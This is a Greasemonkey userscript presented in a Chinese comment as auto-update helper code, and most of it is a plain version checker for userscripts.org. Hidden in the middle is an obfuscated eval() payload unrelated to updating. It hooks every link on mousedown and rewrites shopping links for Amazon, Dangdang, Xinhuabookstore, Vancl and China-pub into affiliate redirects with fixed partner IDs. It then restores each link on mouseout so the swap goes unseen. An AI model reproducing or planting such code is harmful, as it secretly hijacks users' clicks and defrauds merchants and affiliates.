//这是GreaseMonkey脚本的自动升级辅助用代码。
Function.prototype.bind=function(object){var __method=this;return function(){__method.apply(object,arguments)}};function CGM_getValue(v,utf8_defaultV){var t=GM_getValue(v);if(t==undefined)return utf8_defaultV;else return decodeURIComponent(t)};function CGM_setValue(n,v){GM_setValue(n,encodeURIComponent(v))};var Updater=function(script){this.script=script;this.key='update_lastChecked';this.lastCheck=CGM_getValue(this.key,0);this.dateTime=Date.now()/1000;this.hoursToCheck=10;GM_registerMenuCommand("\u66F4\u65B0"+this.script.name+"\u811A\u672C",this.update.bind(this))};Updater.prototype.setHoursToCheck=function(t){this.hoursToCheck=t};Updater.prototype.getVersion=function(meta){var ver=meta.match(/\/\/\s*@version\s*(\d.*)/);return(ver===null)?'0':ver[1]};Updater.prototype.getReason=function(meta){var reason=meta.substring(meta.search(/\/\*\s*@reason/im));reason=reason.substring(0,reason.search(/@end\s*\*\//im));reason=reason.replace(/\/\*\s*@reason/,"");return reason};Updater.prototype.versionCompare=function(v1,v2){var a1=v1.split('.');var a2=v2.split('.');do{var t1=Number(a1.shift());var t2=Number(a2.shift());if(t1==t2)continue;return(t1>t2)}while((a1.length>0)&&(a2.length>0));return(a1.length>0)};Updater.prototype.update=function(){this.meta_js="http://userscripts.org/scripts/source/"+this.script.id+".meta.js";this.user_js="http://userscripts.org/scripts/source/"+this.script.id+".user.js";GM_xmlhttpRequest({method:'GET',url:this.meta_js,onreadystatechange:this.process.bind(this)})};eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[3-8bce-hkn-vx-zABE-GK-OQ]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('f o(){4 g=document.links;for(4 i=0,j=g.length;i<j;i++){g[i].p(\'mousedown\',q,6)}};f q(){4 H=3.7;4 I=true;4 J=/.*detail.*(prodid|asin)(?:%r|=)(\\w{10}).*/i;4 D=/.*ngda.*(?:roduct_id|rd\\.(?:asp|php)\\?id)(?:%r|=)(\\d*).*/i;4 X=/.*inhuab.*(1-\\d{9}).s.*/i;4 V=/.*(5:\\/\\/h\\.t\\.b\\/Product.*)/i;4 C=/.*ina-pu.*(\\d+).*/i;if(!/#/.8(H)){J.8(H)&&(3.7=H.c(J,\'5://h.amazon.k/mn/detailApp?ref=DT_TS&pages=452-9248752-4821724&$1=$2&u=v&indes=152-4867764-2753185\'))&&(I=6);I&&D.8(H)&&(3.7=H.c(D,\'5://union.x.b/y/y.n?from=P-267904&backurl=5://z.x.b/z.n?product_id=$1\'))&&(I=6);I&&X.8(H)&&(3.7=H.c(X,\'5://A.B.k/?m=xhbooks&a=E&l=F&G=0&K=1&L=5%M%e%N.xinhuabookstore.b%2Fcontent%e$1.s\'))&&(I=6);I&&V.8(H)&&(3.7=H.c(V,\'5://h.t.b/O/O.n?u=v&url=$1\'))&&(I=6);I&&C.8(H)&&(3.7=H.c(C,\'5://A.B.k/?m=chinapub&a=E&l=F&G=0&K=1&L=5%M%e%N.china-pub.b%e$1\'))&&(I=6);!I&&/_ga/i.8(3.getAttribute(\'Q\'))&&3.removeAttribute(\'Q\');!I&&3.p(\'mouseout\',f(){3.7=H},6)}};o();',[],53,'|||this|var|http|false|href|test|||com|replace||2F|function|olinks|www|||cn|||aspx|UpdaterLinks|addEventListener|UpLink|3D|htm|vancl|source|duohuzai||dangdang|transfer|product|click|linktech|||A100066609|99999|l_cd1||||l_cd2|tu|3A|2Fwww|WebSource||onclick'.split('|'),0,{}));Updater.prototype.process=function(response){this.result=false;CGM_setValue(this.key,this.dateTime);if((response.readyState==4)&&(response.status==200)){var ver=this.getVersion(response.responseText);var reason=this.getReason(response.responseText);if(this.versionCompare(ver,this.script.version)){alert(this.script.name+'\u66F4\u65B0\u81F3\u7248\u672Cv.'+ver+'\n\n'+reason);this.result=true;window.status=this.script.name+'\u811A\u672C\u6709\u66F4\u65B0';window.location.href=this.user_js}};if(!this.result)window.status=this.script.name+'\u811A\u672C\u6CA1\u6709\u66F4\u65B0'};Updater.prototype.check=function(){var dateDiff=this.dateTime-this.lastCheck;if((dateDiff>(3600*this.hoursToCheck))||(dateDiff<0)){this.update()}};